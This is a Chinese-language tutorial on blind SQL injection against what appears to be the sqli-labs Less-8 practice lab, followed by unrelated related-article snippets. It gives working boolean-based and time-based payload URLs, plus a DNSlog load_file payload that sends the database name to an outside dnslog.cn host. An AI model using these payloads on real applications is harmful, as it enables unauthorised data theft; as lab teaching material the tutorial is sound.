SQL注入---盲注
文章目录
-
目录
一.盲注概述
布尔盲注:
时间盲注:
一.盲注概述
注是一种SQL注入攻击的形式,在这种攻击中,攻击者向目标应用程序发送恶意注入代码,然后通过观察应用程序的响应来推断出数据库中的信息。与常规的SQL注入攻击不同的是,盲注攻击是页面不会将报错信息回显以及没有明显回显位的情况下,页面不直接返回任何有关数据库的具体错误信息,导致攻击者无法直接获得数据库中的数据。
盲注可以分为基于布尔逻辑的盲注和基于时间的盲注两种形式。
-
基于布尔逻辑的盲注:攻击者通过在恶意注入代码中利用布尔逻辑运算符(如AND、OR)来判断条件是否为真,从而推断出数据库中的信息。例如,攻击者可以通过尝试不同的条件来逐位地猜测数据库中的某个字符。
-
基于时间的盲注:攻击者在恶意注入代码中添加延时函数或sleep函数,通过观察应用程序是否延时来判断条件是否为真。例如,攻击者可以通过尝试不同的条件来判断数据库中某个字段的值是否满足条件,并通过延时函数来推断出正确的条件。
布尔盲注:
使用布尔盲注的页面通常只有两种页面效果即正确页面和错误页面。
正确页面:SQL语句能够被执行显示的页面,如下图
http://192.168.100.10/sql/Less-8/index.php?id=1

错误页面: SQL语句不能够被执行显示的页面,如下图
http://192.168.100.10/sql/Less-8/index.php?id=1'

无论正确页面或错误页面都无法直接回显数据,那么在这种情况下如何通过sql注入获取信息?
我们可以利用SQL语句被执行返回正确页面,SQL语句不能被正确执行返回错误页面来帮助我们判断我们输入的SQL语句是否正确,从而判断我们想要的信息是否属于该数据库。
演示案例:
http://192.168.100.10/sql/Less-8/index.php?id=1' and ascii('e')=101--+注:ascii()函数可以将查询的内容转化为ascii码数字,字母e对应的数字是101SQL语句分析:利用页面回显正确和错误的特性,若字母e对应的ascii码=101.则返回正确页面

通过上述案例,可以了解如何利用数据库帮助我们判断查询的信息是否正确,因此可以利用这一漏洞插入SQL语句来查询我们想要的信息
演示案例:
想要知晓当前页面查询的数据库名,可以通过ascii码值倒推出该数据库名,例如:ascii('e')=101 中 页面显示为正确页面则代表数据库名中包含字母e;显而易见,我们同样可以利用该数据库名是否在某一特定的区间内来判断当前页面查询的数据库名。案例如下:若该查询数据的acsii在大于100 小于102.则代表查询出的数据是字母e
http://192.168.100.10/sql/Less-8/index.php?id=1' and ascii(substr((select database()),2,1))=101--+注:ascii()函数默认转译查询到数据的第一个字母且最大显示32位数据substr((sql语句),2,1) 从第二个字符开始显示,每次显示一个字符SQL语句分析:上述页面执行为正确页面说明。查询出的数据库名中的第二个字符是e#查询数据库名中的第一个字母
http://192.168.100.10/sql/Less-8/index.php?id=1' and ascii(substr((select database()),1,1))>101--+注:执行成功代表库名第一个字母ascii码大于101http://192.168.100.10/sql/Less-8/index.php?id=1' and ascii(substr((select database()),1,1))>114--+注:执行成功代表库名第一个字母ascii码大于114http://192.168.100.10/sql/Less-8/index.php?id=1' and ascii(substr((select database()),1,1))>116--+注:执行成功代表库名第一个字母ascii码小于116因此通过不断的迭代缩小ascii码范围可确定库名第一个字母ascii码大于114小于116,最终确定库名首字母ascii码是115 即字母b
时间盲注:
当页面没有报错回显,回显位,真假页面时,可以通过应用程序是否延迟来判断恶意SQL语句是否执行成功。
http://192.168.100.10/sql/Less-8/index.php?id=1' and if(ascii(substr((select database()),2,1))=101,sleep(1),sleep(3))--+注:sleep()延迟函数使程序延迟执行if(SQL语句,sleep(1),sleep(3)):SQL语句执行成功程序延迟1秒执行,未成功延迟3秒执行


DNSlog盲注
布尔盲注和时间盲注的缺点需要大量的迭代查询,而DNSlog盲注则可以一步到位直接回显出我们需要的信息;
DNSlog可以拆开分为 DNS+log=域名解析+日志;DNS域名服务器/DNS日志服务器会将请求解析的域名记录在日志中,DNS日志和sql注入又有什么联系?有没有一种办法可以使安装数据库的服务器向DNS服务器请求域名解析?当服务器请求DNS解析域名的时候,我们可不可以在域名中插入恶意的SQL语句呢,这样我们需要解析的域名就会被显示到DNS日志服务器上?
为了完成上述目标我们需要了解以下内容:
确保数据库有读写权限
load_file()函数:
用于从文件系统中读取文件内容并将其作为字符串返回到 SQL 查询结果中
UNC路径:
\\IP(域名)\share\path\fileIP:需要访问的主机IP
share:表示共享资源的名称。
path:表示共享资源中的路径(可选)。
file:表示具体的文件名(可选)。
UNC路径是用于标识网络共享资源的一种命名约定UNC路径可以在本地文件系统中的路径上直接使用,以方便访问网络共享资源。
DNSlog注入中我们可以在注入时使用load_file(UNC路径)指示数据库去访问该路径下的内容并在访问的同时触发UNC路径去请求DNS服务器解析域名,而我们可以在需要解析的域名中插入SQL语句,案例如下:
id=1' and (select load_file(concat("//",(selectdatabase())."ryw4a6.dnslog.cn/benben.txt"))) --+
执行上述SQL注入语句后,DNS日志服务器中就可以查询到刚刚请求解析的域名,而secyrty就是我们想要知道的数据库名(下述DNS日志服务器可以记录以ryw4a6.dnslog.cn结尾的域名请求记录)

总结
相关文章:
SQL注入---盲注
文章目录 目录 一.盲注概述 布尔盲注: 时间盲注: 一.盲注概述 注是一种SQL注入攻击的形式,在这种攻击中,攻击者向目标应用程序发送恶意注入代码,然后通过观察应用程序的响应来推断出数据库中的信息。与常规的SQL注入…...
PlanUML和Mermaid哪个好?
引言 在当今信息化快速发展的时代,数据可视化和图表工具不仅对于程序员,也对于非技术背景的人士至关重要。绘图工具可以帮助我们更好地理解和表达复杂的概念或数据流。PlantUML和Mermaid是两款被广泛使用的绘图语言,它们都能够通过简洁的文本…...
leetcode 343. 整数拆分
题目 给定一个正整数 n ,将其拆分为 k 个 正整数 的和( k > 2 ),并使这些整数的乘积最大化。 返回 你可以获得的最大乘积 。 示例 1: 输入: n 2 输出: 1 解释: 2 1 1, 1 1 1。 示例 2: 输入: n 10 输出: 36 解释: 1…...
【MATLAB源码-第180期】基于matlab的PTS,SLM,CPFilter三种降低OFDM系统的PAPR仿真。
操作环境: MATLAB 2022a 1、算法描述 1. 限幅和滤波(Clipping and Filtering) 原理简介 限幅和滤波是一种基础且直观的方法,用于降低OFDM信号的PAPR。在限幅阶段,信号的幅度在达到设定阈值时会被削减,…...
学透Spring Boot — 004. Spring Boot Starter机制和自动配置机制
如果你项目中一直用的是 Spring Boot,那么恭喜你没有经历过用 Spring 手动集成其它框架的痛苦。 都说 Spring Boot 大大简化了 Spring 框架开发 Web 应用的难度,这里我们通过配置 Hibernate 的两种方式来深刻体会这一点: 使用 Spring 框架集…...
面试算法-170-二叉树的最大深度
题目 给定一个二叉树 root ,返回其最大深度。 二叉树的 最大深度 是指从根节点到最远叶子节点的最长路径上的节点数。 示例 1: 输入:root [3,9,20,null,null,15,7] 输出:3 解 class Solution {public int maxDepth(TreeNod…...
【数据结构】哈希
文章目录 1. 哈希概念2. 哈希冲突3. 哈希函数4. 哈希冲突解决4.1 闭散列4.2 开散列 unordered 系列的关联式容器之所以效率比较高,是因为其底层使用了哈希结构。 1. 哈希概念 顺序结构以及平衡树中,元素关键码与其存储位置之间没有对应的关系ÿ…...
Kubernetes(k8s)监控与报警(qq邮箱+钉钉):Prometheus + Grafana + Alertmanager(超详细)
Kubernetes(k8s)监控与报警(qq邮箱钉钉):Prometheus Grafana Alertmanager(超详细) 1、部署环境2、基本概念简介2.1、Prometheus简介2.2、Grafana简介2.3、Alertmanager简介2.4、Prometheus …...
STM32-04基于HAL库(CubeMX+MDK+Proteus)中断案例(按键中断扫描)
文章目录 一、功能需求分析二、Proteus绘制电路原理图三、STMCubeMX 配置引脚及模式,生成代码四、MDK打开生成项目,编写HAL库的按键检测代码五、运行仿真程序,调试代码 一、功能需求分析 在完成GPIO输入输出案例之后,开始新的功能…...
第十五篇:Mybatis
文章目录 一、什么是MyBatis二、Mybatis入门案例三、配置SQL提示四、数据库连接池四、lombok五、mybatis基础操作5.1 根据id删除5.2 预编译SQL5.3 新增员工5.4 更新员工5.5 查询员工(用于页面回显)5.6 条件查询 七、XML映射文件八、动态SQL8.1 if语句8.2…...
【MacBook系统homebrew镜像记录】
安装 使用Homebrew 国内源安装脚本,贼方便: /bin/zsh -c "$(curl -fsSL https://gitee.com/cunkai/HomebrewCN/raw/master/Homebrew.sh)"切换至清华大学镜像源: 命令合并: 分别切换了 brew.git、 homebrew-core.git、 homebrew-…...
深拷贝总结
JSON.parse(JSON.stringify(obj)) 这行代码的运行过程,就是利用 JSON.stringify 将js对象序列化(JSON字符串),再使用JSON.parse来反序列化(还原)js对象;序列化的作用是存储和传输。(…...
RabbitMQ在云原生环境中部署和应用实践
一、RabbitMQ和云原生技术的关系 RabbitMQ是一种开源的、实现了先进的消息队列协议(AMQP)的消息队列软件。而云原生技术就是为在公共云、私有云以及其他各种云环境提供应用的一种方法。RabbitMQ和云原生技术在分布式系统和微服务架构中都起到了关键作用…...
flask 后端 + 微信小程序和网页两种前端:调用硬件(相机和录音)和上传至服务器
选择 flask 作为后端,因为后续还需要深度学习模型,python 语言最适配;而 flask 框架轻、学习成本低,所以选 flask 作为后端框架。 微信小程序封装了调用手机硬件的 api,通过它来调用手机的摄像头、录音机,…...
蓝桥杯嵌入式(G431)备赛笔记——ADC+LCD
目录 题目要求(真题): cubeMX配置: 小试牛刀: Keil代码: 效果演示: 题目要求(真题): 使用第十一届第二场真题,练习ADC波部分的代码 cubeMX配…...
最近公共祖先(LCA)
题目描述 如题,给定一棵有根多叉树,请求出指定两个点直接最近的公共祖先。 输入格式 第一行包含三个正整数 N,M,S,分别表示树的结点个数、询问的个数和树根结点的序号。 接下来 N−1 行每行包含两个正整数x,y,表示 x 结点和 y 结点之间有一条直接连接的边(数据保证可以…...
ABBYY FineReader15免费电脑OCR图片文字识别软件
产品介绍:ABBYY FineReader 15 OCR图片文字识别软件 ABBYY FineReader 15是一款光学字符识别(OCR)软件,专门设计用于将扫描的文档、图像和照片中的文本转换成可编辑和可搜索的格式。这款软件利用先进的OCR技术,能够识别…...
2024年第十七届 认证杯 网络挑战赛 (A题)| 保暖纤维的保暖能力 |数学建模完整代码+建模过程全解全析
当大家面临着复杂的数学建模问题时,你是否曾经感到茫然无措?作为2022年美国大学生数学建模比赛的O奖得主,我为大家提供了一套优秀的解题思路,让你轻松应对各种难题。 让我们来看看认证杯 网络挑战赛 (A题)!…...
算法训练营第37天|LeetCode 738.单调递增的数字 968.监控二叉树
LeetCode 738.单调递增的数字 题目链接: LeetCode 738.单调递增的数字 解题思路: 从后向前遍历,当不满足递增条件时,当前位置赋值为9,前一位减一。之后记录不满足位置,将后续全部赋值为9. 代码&#x…...
Vue+el-table 修改表格 单元格横线边框颜色及表格空数据时边框颜色
需求 目前 找到对应的css样式进行修改 修改后 css样式 >>>.el-table th.el-table__cell.is-leaf {border-bottom: 1px solid #444B5F !important;}>>>.el-table td.el-table__cell,.el-table th.el-table__cell.is-leaf {border-bottom: 1px solid #444B5F …...
别再找插件了!手把手教你用uni-app的Canvas API画一个带渐变和刻度的环形进度条
原生Canvas魔法:在uni-app中打造高性能渐变环形进度条 每次看到那些酷炫的数据可视化图表,你是不是也想过自己动手实现?但面对复杂的第三方图表库文档和性能问题又望而却步。今天我要分享的是如何用uni-app原生Canvas API,从零开始…...
GPIO输出模式详解:推挽与开漏对比与应用
1. GPIO输出模式基础概念在嵌入式系统开发中,GPIO(General Purpose Input/Output)是最基础也是最常用的外设之一。作为硬件工程师,深入理解GPIO的不同工作模式对于电路设计和程序开发都至关重要。今天我们就来详细剖析GPIO的两种主要输出模式:…...
DMA传输效率翻倍秘籍:深入解析Burst/Transfer模式在TMS320系列DSP中的配置陷阱
DMA传输效率翻倍秘籍:深入解析Burst/Transfer模式在TMS320系列DSP中的配置陷阱 实时信号处理系统的性能瓶颈往往出现在数据传输环节。当工程师面对高速ADC采集的海量数据时,DMA控制器的高效配置直接决定了系统能否实现理论上的吞吐量。本文将深入剖析TMS…...
【HALCON实战】set_window_param:解锁图形窗口高级定制与性能调优
1. 为什么你需要掌握set_window_param? 在机器视觉项目开发中,图形窗口就像工程师的眼睛。我见过太多同行把90%的精力花在算法优化上,却忽视了窗口显示这个"最后一公里"问题。直到某次在客户现场演示时,程序因为频繁刷新…...
5分钟攻克Windows苹果设备驱动安装难题
5分钟攻克Windows苹果设备驱动安装难题 【免费下载链接】Apple-Mobile-Drivers-Installer Powershell script to easily install Apple USB and Mobile Device Ethernet (USB Tethering) drivers on Windows! 项目地址: https://gitcode.com/gh_mirrors/ap/Apple-Mobile-Driv…...
软件测试高频面试题 2026 最新整理(功能 + 自动化)
目录 一、功能测试高频题(必背) 1. 什么是软件测试?测试的目的是什么? 2. 黑盒测试 vs 白盒测试,区别与适用场景? 3. 测试用例设计方法有哪些?各适合什么场景? 4. 一个完整的测试用例包含哪些要素? 5. 什么是 Bug?Bug 的生命周期是什么? 6. 功能测试的核心流…...
GLM-4.1V-9B-Base基础教程:3步完成图片上传→中文提问→结果解析
GLM-4.1V-9B-Base基础教程:3步完成图片上传→中文提问→结果解析 1. 认识GLM-4.1V-9B-Base GLM-4.1V-9B-Base是智谱开源的一款视觉多模态理解模型,专门用于处理图像内容识别、场景描述、目标问答和中文视觉理解任务。这个模型已经完成了Web化封装&…...
考研党必看!用Notion+Obsidian打造你的线性代数矩阵复习神器(附模板)
考研党必看!用NotionObsidian打造你的线性代数矩阵复习神器(附模板) 线性代数作为考研数学的重要部分,矩阵理论更是其中的核心难点。传统的纸质笔记虽然直观,但难以实现知识点的快速检索、动态更新和跨章节关联。本文将…...
疯了!用 AI 做销售,一人能干三人活,效率直接拉满!
一、AI 秒出全场景话术,告别绞尽脑汁从破冰开场、持续跟进,到异议处理、逼单成交,AI 都能根据产品、客户、场景一键生成专业话术。新人不用死记硬背,复制粘贴就能专业沟通;老人不用反复修改,节省大把时间&a…...
无人机飞控入门:如何理解Pixhawk/PX4里的那个“六自由度模型”?
无人机飞控入门:从代码视角理解PX4的六自由度模型 当你第一次打开PX4的EKF2(扩展卡尔曼滤波)模块代码时,那些关于body_frame、earth_frame和angular_rates的变量命名是否让你感到困惑?这些看似抽象的术语背后ÿ…...
